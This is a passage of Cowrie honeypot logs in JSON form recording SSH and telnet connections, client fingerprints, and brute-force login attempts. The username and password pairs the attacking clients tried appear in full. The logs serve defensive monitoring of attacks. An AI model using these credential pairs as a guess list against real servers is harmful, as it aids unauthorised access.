16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:57.049230Z","src_ip":"87.251.79.125","session":"782ef5399f3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kometa","message":"login attempt [root/kometa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:57.266701Z","src_ip":"87.251.79.125","session":"782ef5399f3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:57.668217Z","src_ip":"77.94.47.83","session":"fd25511be920","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:30:58.348238Z","src_ip":"87.251.79.125","session":"782ef5399f3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":39736,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e5ddc960263","protocol":"ssh","message":"New connection: 175.118.127.138:39736 (159.203.135.109:22) [session: 3e5ddc960263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:08.143443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:08.148612Z","src_ip":"175.118.127.138","session":"3e5ddc960263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:08.327774Z","src_ip":"175.118.127.138","session":"3e5ddc960263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Talent@123","message":"login attempt [root/Talent@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:09.076816Z","src_ip":"175.118.127.138","session":"3e5ddc960263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":55236,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dd75fe0a5ed","protocol":"ssh","message":"New connection: 91.92.40.4:55236 (10.17.0.5:22) [session: 7dd75fe0a5ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:10.122290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:10.129694Z","src_ip":"91.92.40.4","session":"7dd75fe0a5ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:10.207043Z","src_ip":"91.92.40.4","session":"7dd75fe0a5ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:10.261446Z","src_ip":"175.118.127.138","session":"3e5ddc960263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:10.535411Z","src_ip":"91.92.40.4","session":"7dd75fe0a5ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:11.620298Z","src_ip":"91.92.40.4","session":"7dd75fe0a5ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.88.212","src_port":58604,"dst_ip":"159.203.135.109","dst_port":22,"session":"648db473a6ce","protocol":"ssh","message":"New connection: 167.86.88.212:58604 (159.203.135.109:22) [session: 648db473a6ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:21.703810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:21.712744Z","src_ip":"167.86.88.212","session":"648db473a6ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:21.806557Z","src_ip":"167.86.88.212","session":"648db473a6ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qweQWE","message":"login attempt [ubuntu/123qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:22.214041Z","src_ip":"167.86.88.212","session":"648db473a6ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:23.309727Z","src_ip":"167.86.88.212","session":"648db473a6ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":41788,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d549efd3267","protocol":"ssh","message":"New connection: 5.182.83.231:41788 (10.17.0.5:22) [session: 7d549efd3267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:53.289611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:53.293670Z","src_ip":"5.182.83.231","session":"7d549efd3267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:53.402710Z","src_ip":"5.182.83.231","session":"7d549efd3267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex2026","message":"login attempt [alex/alex2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:53.874530Z","src_ip":"5.182.83.231","session":"7d549efd3267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:31:54.987895Z","src_ip":"5.182.83.231","session":"7d549efd3267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":58958,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a7135244b9d","protocol":"telnet","message":"New connection: 137.184.5.188:58958 (159.203.135.109:23) [session: 7a7135244b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:32:41.652740Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":37974,"dst_ip":"159.203.135.109","dst_port":22,"session":"9024ff2f68ce","protocol":"ssh","message":"New connection: 175.118.127.138:37974 (159.203.135.109:22) [session: 9024ff2f68ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:32:46.869973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:32:46.877072Z","src_ip":"175.118.127.138","session":"9024ff2f68ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:32:47.054793Z","src_ip":"175.118.127.138","session":"9024ff2f68ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"home","message":"login attempt [root/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:32:47.802649Z","src_ip":"175.118.127.138","session":"9024ff2f68ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:32:48.984054Z","src_ip":"175.118.127.138","session":"9024ff2f68ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":52434,"dst_ip":"10.17.0.5","dst_port":22,"session":"46d4b6644f8d","protocol":"ssh","message":"New connection: 91.92.40.4:52434 (10.17.0.5:22) [session: 46d4b6644f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:32:51.966869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:32:51.971381Z","src_ip":"91.92.40.4","session":"46d4b6644f8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:32:52.055103Z","src_ip":"91.92.40.4","session":"46d4b6644f8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:32:52.308424Z","src_ip":"91.92.40.4","session":"46d4b6644f8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:32:53.392815Z","src_ip":"91.92.40.4","session":"46d4b6644f8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58454,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ff24029951c","protocol":"telnet","message":"New connection: 170.64.224.25:58454 (159.203.135.109:23) [session: 2ff24029951c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:33:15.872668Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":38362,"dst_ip":"10.17.0.5","dst_port":22,"session":"24e89892e820","protocol":"ssh","message":"New connection: 193.37.70.224:38362 (10.17.0.5:22) [session: 24e89892e820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:33:18.191860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:33:18.200009Z","src_ip":"193.37.70.224","session":"24e89892e820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:33:18.291924Z","src_ip":"193.37.70.224","session":"24e89892e820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nastia13","message":"login attempt [root/nastia13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:33:18.563325Z","src_ip":"193.37.70.224","session":"24e89892e820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":52626,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c799f440025","protocol":"ssh","message":"New connection: 85.214.154.50:52626 (159.203.135.109:22) [session: 8c799f440025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:33:18.848132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:33:18.853064Z","src_ip":"85.214.154.50","session":"8c799f440025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:33:18.948220Z","src_ip":"85.214.154.50","session":"8c799f440025","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B@l@nc3r$M@st3r@P@ss","message":"login attempt [root/B@l@nc3r$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:33:19.234038Z","src_ip":"85.214.154.50","session":"8c799f440025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:33:19.656641Z","src_ip":"193.37.70.224","session":"24e89892e820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:33:20.331112Z","src_ip":"85.214.154.50","session":"8c799f440025","protocol":"ssh"}
